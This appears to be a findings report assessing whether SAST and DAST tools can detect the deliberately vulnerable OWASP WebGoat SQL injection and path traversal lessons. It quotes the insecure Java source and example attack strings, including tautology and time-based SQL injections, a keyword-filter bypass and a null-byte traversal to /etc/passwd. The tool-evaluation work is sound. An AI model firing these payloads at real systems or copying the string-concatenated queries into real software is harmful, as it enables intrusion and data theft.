markdown=\"span\">Findings\u003C/summary>\n\n### (A1) Injection > SQL Injection (intro) > What is SQL?\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/1\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\n\n**Lesson:**\n\nThis lesson is for practicing raw SQL queries – it allows anyone to run full SQL queries without parameterized statements.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java#L55-65 \n\npublic AttackResult completed(@RequestParam String query) {\n    return injectableQuery(query);\n}\n\nprotected AttackResult injectableQuery(String query) {\n    try (var connection = dataSource.getConnection()) {\n        Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY);\n        ResultSet results = statement.executeQuery(query);\n        StringBuffer output = new StringBuffer();\n\n        results.first();\n        ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nIt should be relatively straightforward for a SAST tool to identify that the query comes from a known source (line 55) and is used in a statement's executeQuery method.\n\n**DAST Reasoning:**\n\nWhile it should not be difficult for a DAST tool to find such a vulnerability, most DAST tools are not built with attack strings that attempt direct SQL queries. DAST SQL Injection tests are almost always trying to inject into the middle of an already existing SQL query. There is a good chance most DAST tools will not find the `/SqlInjection/attack2` endpoint's query parameter vulnerable.\n\n**Example Attack:** \n- `query=(SELECT repeat('a',50000000) from information_schema.tables)` will take ~3 seconds to complete.\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Data Manipulation Language (DML)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/2\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\n\n**Lesson:**\n\nThis lesson is for practicing raw SQL queries – it allows anyone to run UPDATE/INSERT SQL queries without parameterized statements.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java#L56-65\n\npublic AttackResult completed(@RequestParam String query) {\n    return injectableQuery(query);\n}\n\nprotected AttackResult injectableQuery(String query) {\n    try (Connection connection = dataSource.getConnection()) {\n        try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {\n            Statement checkStatement = connection.createStatement(TYPE_SCROLL_INSENSITIVE,\n                    CONCUR_READ_ONLY);\n            statement.executeUpdate(query);\n        ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nIt should be relatively straightforward for a SAST tool to identify that the query comes from a known source on line 56 and is used in a statement's executeUpdate method.\n\n**DAST Reasoning:**\n\nWhile it should not be difficult for a DAST tool to find such a vulnerability, most DAST tools are not built with attack strings that attempt direct SQL queries. DAST SQL Injection tests are almost always trying to inject into the middle of an already existing SQL query. There is a good chance most DAST tools will not find the `/SqlInjection/attack3` endpoint's query parameter vulnerable.\n\n**Example Attack:** \n- `query=insert into employees (first_name) (SELECT repeat('a', 50000000) from employees)` will take ~2 seconds to error out (where `repeat('a', 5)` takes 200ms).\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Data Definition Language (DDL)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/3\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\n\n**Lesson:**\n\nThis lesson is for practicing raw SQL queries – it allows anyone to create tables via SQL queries without parameterized statements.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java#L52-59\n\npublic AttackResult completed(@RequestParam String query) {\n    return injectableQuery(query);\n}\n\nprotected AttackResult injectableQuery(String query) {\n    try (Connection connection = dataSource.getConnection()) {\n        try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {\n            statement.executeUpdate(query);\n        ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nIt should be relatively straightforward for a SAST tool to identify that the query comes from a known source on line 53 and is used in a statement's executeUpdate method.\n\n**DAST Reasoning:**\n\nWhile it should not be difficult for a DAST tool to find such a vulnerability, most DAST tools are not built with attack strings that attempt direct SQL injection queries. DAST SQL Injection tests are almost always trying to inject into the middle of an already existing SQL query. There is a good chance most DAST tools will not find the /SqlInjection/attack4 endpoint's query parameter vulnerable to sql injection.\n\n**Example Attack:** \n- `query=insert into employees (first_name) (SELECT repeat('a', 50000000) from information_schema.tables)` will take ~2 seconds to error out (where `repeat('a', 5)` takes 200ms).\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Data Control Language (DCL)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/4\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5.java\n\n**Lesson:**\n\nThis lesson is for practicing raw SQL queries – it pretends to allow users to run grant/alter on tables via SQL queries. However, it is not calling any SQL functionality.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5.java#46-51\n\nString regex = \"(?i)^(grant alter table to [']?unauthorizedUser[']?)(?:[;]?)$\";\nStringBuffer output = new StringBuffer();\n\n// user completes lesson if the query is correct\nif (query.matches(regex)) {\n    output.append(\"\u003Cspan class='feedback-positive'>\" + query + \"\u003C/span>\");\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis is a synthetic vulnerability that does not actually call any database functionality.\n\n**DAST Reasoning:**\n\nThis is a synthetic vulnerability that does not actually call any database functionality.\n\n---\n\n### (A1) Injection > SQL Injection (intro) > What is SQL injection?\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/5\n\n**Source:** \n- Static content only\n\n**Lesson:**\n\nThis lesson is for practicing SQL Injection query string generation, but does not call any server side functionality.\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis lesson does not actually call any server side functionality.\n\n**DAST Reasoning:**\n\nThis lesson does not actually call any server side functionality.\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Try It! String SQL injection\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/8\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java\n\n**Lesson:**\n\nThis lesson provides a form for testing out SQL Injection against database functionality with the goal of returning all results from a table.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java#L53-L54\n\npublic AttackResult completed(@RequestParam String account, @RequestParam String operator, @RequestParam String injection) {\n    return injectableQuery(account + \" \" + operator + \" \" + injection);\n...\n\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java#L57-62\n\nprotected AttackResult injectableQuery(String accountName) {\n    String query = \"\";\n    try (Connection connection = dataSource.getConnection()) {\n        query = \"SELECT * FROM user_data WHERE first_name = 'John' and last_name = '\" + accountName + \"'\";\n        try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) {\n            ResultSet results = statement.executeQuery(query);\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `executeQuery` method is called from a dynamically concatenated string containing user input.\n\n**DAST Reasoning:**\n\nThe three inputs `account`, `operator` and `injection` are all concatenated together and each parameter could technically be used as an attack vector. In this case a DAST tool will most likely suffer from over reporting duplicate flaws, as the three input vectors all end up being used in the same resultant query string.\n\n**Example Attack(s):**\n- `account=Smith' or 1%3d1--&operator=&injection=`\n- `account=&operator=Smith' or 1%3d1--&injection=`\n- `account=&operator=&injection=Smith' or 1%3d1--`\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Try It! Numeric SQL injection\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/9\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\n\n**Lesson:**\n\nThis lesson provides a form for testing out SQL Injection when the column type is restricted to numerical values. The goal is to return all results from a table. While the resultant query does make use of prepared statements, it incorrectly concatenates user input for the `userid` column.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java#L56-71\n\nString queryString = \"SELECT * From user_data WHERE Login_Count = ? and userid= \" + accountName;\ntry (Connection connection = dataSource.getConnection()) {\n        PreparedStatement query = connection.prepareStatement(queryString, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n        ...\n        ResultSet results = query.executeQuery();\n        ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nWhile the query is correctly used in a PreparedStatement only the `Login_Count` is parameterized, the `accountName` is still dynamically assigned, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into both parameters, and provided the correct attack string is used, should successfully identify that the `userid` parameter is vulnerable to SQL Injection.\n\n**Example Attack:**\n- `login_count=1&userid=1+or+1%3D1`\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Compromising confidentiality with String SQL injection\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/10\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\n\n**Lesson:**\n\nThis lesson provides a form for testing out SQL Injection where the goal is to return all results from a table. \n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java#L59-65\n\nString query = \"SELECT * FROM employees WHERE last_name = '\" + name + \"' AND auth_tan = '\" + auth_tan + \"'\";\n\ntry (Connection connection = dataSource.getConnection()) {\n    try {\n        Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE);\n        log(connection, query);\n        ResultSet results = statement.executeQuery(query);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `name` and `auth_tan` user supplied values are dynamically assigned to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into both parameters which are valid attack vectors leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `name=&auth_tan=1'+or+1%3D1--`\n- `name=1'+or+1%3D1--&auth_tan=`\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Compromising Integrity with Query chaining\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/11\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\n\n**Lesson:**\n\nThis lesson provides a form for testing out SQL Injection where the goal is to modify a users salary. \n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java#L61-66\n\nString query = \"SELECT * FROM employees WHERE last_name = '\" + name + \"' AND auth_tan = '\" + auth_tan + \"'\";\ntry (Connection connection = dataSource.getConnection()) {\n    try {\n        Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE);\n        SqlInjectionLesson8.log(connection, query);\n        ResultSet results = statement.executeQuery(query);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `name` and `auth_tan` user supplied values are dynamically assigned to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into both parameters `name` and `auth_tan` which are valid attack vectors leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `name=&auth_tan=1'+or+1%3D1--`\n- `name=1'+or+1%3D1--&auth_tan=`\n\n---\n\n### (A1) Injection > SQL Injection (intro) > Compromising Availability\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjection.lesson/12\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\n\n**Lesson:**\n\nThis lesson provides a form for testing SQL Injection where the goal is remove evidence of attacks.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java#L58-63\n\nString query = \"SELECT * FROM access_log WHERE action LIKE '%\" + action + \"%'\";\n\n        try (Connection connection = dataSource.getConnection()) {\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(query);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe action user supplied values are dynamically concatenated to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into the action_string parameter, leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `action_string=1'+or+1%3D1--`\n\n---\n\n### (A1) Injection > SQL Injection (advanced) > Try It! Pulling data from other tables\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/2\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java\n\n**Lesson:**\n\nThis lesson is to demonstrate how to extract data from tables other than the one the query was defined to execute against.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java#L60-67\n\nquery = \"SELECT * FROM user_data WHERE last_name = '\" + accountName + \"'\";\n//Check if Union is used\nif (!accountName.matches(\"(?i)(^[^-/*;)]*)(\\\\s*)UNION(.*$)\")) {\n    usedUnion = false;\n}\ntry (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n        ResultSet.CONCUR_READ_ONLY)) {\n    ResultSet results = statement.executeQuery(query);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `accountName` user supplied value is dynamically assigned to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into the `userid_6a` parameter, leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `userid_6a=1'+or+1%3D1--`\n\n---\n\n### (A1) Injection > SQL Injection (advanced) > (no title)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/4\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\n\n**Lesson:**\n\nThis lesson is a challenge to attempt to extract data from the database that leads to the attacker being able to login as a different user by executing SQL Injection attacks.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java#L63-65\n\nString checkUserQuery = \"select userid from sql_challenge_users where userid = '\" + username_reg + \"'\";\nStatement statement = connection.createStatement();\nResultSet resultSet = statement.executeQuery(checkUserQuery);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `username_reg` user supplied value is dynamically assigned to a query string, leading to SQL Injection.\n\n**DAST Reasoning:**\n\nDAST tools should attempt to inject into the `username_reg` parameter with a timing or blind sql injection based attack string, leading to exploitable SQL Injection.\n\n**Example Attack:**\n- `username_reg='%2b(select+repeat('a', 50000000)+from+information_schema.tables)%2b'&email_reg=asdf&password_reg=asdf&confirm_password_reg=asdf`\n\n---\n\n### (A1) Injection > SQL Injection (mitigation) > Input validation alone is not enough!! (Lesson 9)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/8\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidation.java\n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java\n\n**Lesson:** \n\nThis lesson demonstrates filtering of user input not being sufficient for protecting against SQL injection attacks. This particular case looks to see if the input string contains a space and returns an error if it does. \n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidation.java#L48-L52\n\npublic AttackResult attack(@RequestParam(\"userid_sql_only_input_validation\") String userId) {\nif (userId.contains(\" \")) {\n    return failed(this).feedback(\"SqlOnlyInputValidation-failed\").build();\n}\nAttackResult attackResult = lesson6a.injectableQuery(userId);\n...\n\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java#56-67\n\npublic AttackResult injectableQuery(String accountName) {\n    String query = \"\";\n    try (Connection connection = dataSource.getConnection()) {\n        boolean usedUnion = true;\n        query = \"SELECT * FROM user_data WHERE last_name = '\" + accountName + \"'\";\n        //Check if Union is used\n        if (!accountName.matches(\"(?i)(^[^-/*;)]*)(\\\\s*)UNION(.*$)\")) {\n            usedUnion = false;\n        }\n        try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                ResultSet.CONCUR_READ_ONLY)) {\n            ResultSet results = statement.executeQuery(query);\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nSAST tools would most likely be flag this as a flaw existing under the `webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java` class. The `SqlOnlyInputValidation.java` file is calling the same method, but the vulnerability exists in `SqlInjectionLesson6a.java`. Where the flaw is reported depends on how the SAST tool was designed. For example if the SAST tool is capable of tracking taint across intra-procedural calls it may flag the call to `lesson6a.injectableQuery(userId)` on line 52. If the SAST tool was designed to only parse the Abstract Syntax Tree (AST) it may only report the flaw in `SqlInjectionLesson6a.java` on line 67.\n\n**DAST Reasoning:**\n\nAny input filtering done on potential attack vectors makes it more difficult for DAST tools to identify exploitable issues. There is a chance some DAST tools would not find the `userid_sql_only_input_validation` parameter vulnerable to SQL Injection.\n\n**Example Attack:**\n- `userid_sql_only_input_validation='%2b(SELECT/**/repeat(char(60),50000000)from/**/information_schema.tables)%2b'`\n\n---\n\n### (A1) Injection > SQL Injection (mitigation) > Input validation alone is not enough!! (Lesson 10)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/9\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidationOnKeywords.java\n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java\n\n**Lesson:** \n\nThis lesson demonstrates filtering of user input not being sufficient for protecting against SQL Injection attacks. This particular case looks to see if the input string contains `SELECT` or `FROM` keywords and replaces them with empty strings, it additionally checks if the input contains a space and returns an error if it does. \n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlOnlyInputValidationOnKeywords.java#L48-L53\n\npublic AttackResult attack(@RequestParam(\"userid_sql_only_input_validation_on_keywords\") String userId) {\n    userId = userId.toUpperCase().replace(\"FROM\", \"\").replace(\"SELECT\", \"\");\n    if (userId.contains(\" \")) {\n        return failed(this).feedback(\"SqlOnlyInputValidationOnKeywords-failed\").build();\n    }\n    AttackResult attackResult = lesson6a.injectableQuery(userId);\n    ...\n\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java#56-67\n\npublic AttackResult injectableQuery(String accountName) {\n    String query = \"\";\n    try (Connection connection = dataSource.getConnection()) {\n        boolean usedUnion = true;\n        query = \"SELECT * FROM user_data WHERE last_name = '\" + accountName + \"'\";\n        //Check if Union is used\n        if (!accountName.matches(\"(?i)(^[^-/*;)]*)(\\\\s*)UNION(.*$)\")) {\n            usedUnion = false;\n        }\n        try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                ResultSet.CONCUR_READ_ONLY)) {\n            ResultSet results = statement.executeQuery(query);\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nSAST tools would most likely flag this as a flaw existing under the `webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java` class. The `SqlOnlyInputValidationOnKeywords.java` file is calling the same method, but the vulnerability exists in `SqlInjectionLesson6a.java`. Where the flaw is reported depends on how the SAST tool was designed. For example if the SAST tool is capable of tracking taint across intra-procedural calls it may flag the call to `lesson6a.injectableQuery(userId)` on line 53. If the SAST tool was designed to only parse the Abstract Syntax Tree (AST) it may only report the flaw in `SqlInjectionLesson6a.java` on line 67.\n\n**DAST Reasoning:**\n\nAny input filtering done on potential attack vectors makes it much more difficult for DAST tools to identify exploitable issues. There is a good chance most DAST tools would not find the `userid_sql_only_input_validation_on_keywords` parameter vulnerable.\n\n**Example Attack:**\n- `userid_sql_only_input_validation_on_keywords='%2b(SELselectECT/**/repeat(char(60),50000000)FRfromOM/**/information_schema.tables)%2b'`\n\n---\n\n### (A1) Injection > SQL Injection (mitigation) > (no title) (Lesson 12)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/11\n\n**Source:** \n- webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\n\n**Lesson:** \n\nThis lesson includes a SQL Injection vulnerability in a column field of a SQL query, which can not be specified by a parameter in a parameterized query. As such, it uses a dynamically generated query string with user input for specifying the column name.\n\n```\nwebgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java#L69-L74\n\n public List\u003CServer> sort(@RequestParam String column) throws Exception {\n    List\u003CServer> servers = new ArrayList\u003C>();\n\n    try (Connection connection = dataSource.getConnection();\n            PreparedStatement preparedStatement = connection.prepareStatement(\"select id, hostname, ip, mac, status, description from servers  where status \u003C> 'out of order' order by \" + column)) {\n        ResultSet rs = preparedStatement.executeQuery();\n        ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nWhile the SQL query is a prepared statement, the column field can not be specified as a `parameter` in a parameterized query. A SAST tool should identify that the query string is concatenated with user input on line 73.\n\n**DAST Reasoning:**\n\nA DAST tool, if it is able to find the `/WebGoat/SqlInjectionMitigations/servers` endpoint, should be able to exploit the column based SQL injection issue.\n\n**Example Attack:**\n- `/WebGoat/SqlInjectionMitigations/servers?column=(select+repeat('a',50000000)+from+information_schema.tables)`\n\n---\n\n### (A1) Injection > Path traversal > Path traversal while uploading files\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PathTraversal.lesson/1\n\n**Source:** \n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUpload.java\n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java\n\n**Lesson:** \n\nThis lesson's goal is to upload a file to overwrite a system file. It uses a common insecure pattern of using user input to generate a file path and supplying the file contents to create a new file.\n\n```\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUpload.java#L31-L32\n\npublic AttackResult uploadFileHandler(@RequestParam(\"uploadedFile\") MultipartFile file, @RequestParam(value = \"fullName\", required = false) String fullName) {\n    return super.execute(file, fullName);\n}\n\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java#L41-43\n\nvar uploadedFile = new File(uploadDirectory, fullName);\nuploadedFile.createNewFile();\nFileCopyUtils.copy(file.getBytes(), uploadedFile);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify that the `new File` call's second parameter is tainted from the `uploadFileHandler` `fullName` parameter. \n\n**DAST Reasoning:**\n\nDAST tools have difficulties identifying insecure file upload path traversal attacks. As the attack is a two-step process, the tool most likely will not be able to identify where the uploaded file ultimately resides on the file system. The first step is uploading the file, while the second is for identifying where the uploaded file exists and attempting to access it. \n\nIn this lesson there is no way to retrieve a non `.jpg` suffixed file. The `var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");` limits what can be retrieved. Additionally, the only way to attempt to access uploaded files is through a completely unrelated web page. A DAST tool would not understand the relationship between the upload endpoint and the retrieval endpoint. \n\nWhile it is possible to attempt null byte attacks if the string contains `path-traversal-secret.jpg` the `FileCopyUtils` method uses `java.io.File.toPath` which disallows null bytes. For example attempting the attack: `/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00path-traversal-secret.jpg%00` will fail with the error: `java.nio.file.InvalidPathException: Nul character not allowed`.\n\nGiven the above, while it is possible to upload arbitrary files, it is not possible to access them, hence a DAST tool would be unable to identify this as a flaw. A human of course could use various techniques to attempt to overwrite system files, but a DAST tool is not built for such activities. \n\n---\n\n### (A1) Injection > Path traversal > Path traversal while uploading files (lesson 3)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PathTraversal.lesson/2\n\n**Source:** \n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadFix.java\n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java\n\n**Lesson:** \n\nThis lesson's goal is to upload a file to overwrite a system file. It uses a common insecure pattern of using user input to generate a file path and supply the file contents to create a new file. In this lesson filtering is done on user input, replacing `../` with an empty string.\n\n```\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadFix.java#L24-L28\n\n    public AttackResult uploadFileHandler(\n            @RequestParam(\"uploadedFileFix\") MultipartFile file,\n            @RequestParam(value = \"fullNameFix\", required = false) String fullName) {\n        return super.execute(file, fullName != null ? fullName.replace(\"../\", \"\") : \"\");\n    }\n\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java#L41-43\n\nvar uploadedFile = new File(uploadDirectory, fullName);\nuploadedFile.createNewFile();\nFileCopyUtils.copy(file.getBytes(), uploadedFile);\n```\n\n**Can SAST Find?** \n- Yes\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify that the `new File` call's second parameter is tainted from the `uploadFileHandler` `fullName` parameter. \n\n**DAST Reasoning:**\n\nDAST tools have difficulties identifying insecure file upload path traversal attacks. As the attack is a two-step process, the tool most likely will not be able to identify where the uploaded file ultimately resides on the file system. The first step is uploading the file, while the second is for identifying where the uploaded file exists and attempting to access it. \n\nIn this lesson there is no way to retrieve a non `.jpg` suffixed file. The `var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");` limits what can be retrieved. Additionally, the only way to attempt to access uploaded files is through a completely unrelated web page. A DAST tool would not understand the relationship between the upload endpoint and the retrieval endpoint. \n\nWhile it is possible to attempt null byte attacks if the string contains `path-traversal-secret.jpg` the `FileCopyUtils` method uses `java.io.File.toPath` which disallows null bytes. For example attempting the attack: `/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00path-traversal-secret.jpg%00` will fail with the error: `java.nio.file.InvalidPathException: Nul character not allowed`.\n\nGiven the above, while it is possible to upload arbitrary files, it is not possible to access them, hence a DAST tool would be unable to identify this as a flaw. A human of course could use various techniques to attempt to overwrite system files, but a DAST tool is not built for such activities. \n\n---\n\n### (A1) Injection > Path traversal > Path traversal while uploading files (lesson 4)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PathTraversal.lesson/3\n\n**Source:** \n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadRemoveUserInput.java\n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java\n\n**Lesson:** \n\nThis lessons goal is to upload a file to overwrite a system file. It uses a common insecure pattern of using user input to generate a file path and supplying the file contents to create a new file. In this lesson the filename is taken from the `MultipartFile.getOriginalFilename()` which is still user input, as it is possible to modify the filename part of a Multipart upload:\n```\nContent-Disposition: form-data; name=\"uploadedFileRemoveUserInput\"; filename=\"../../test.html\"\n```\n\n```\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadRemoveUserInput.java#L24-L28\n\npublic AttackResult uploadFileHandler(\n        @RequestParam(\"uploadedFileFix\") MultipartFile file,\n        @RequestParam(value = \"fullNameFix\", required = false) String fullName) {\n    return super.execute(file, fullName != null ? fullName.replace(\"../\", \"\") : 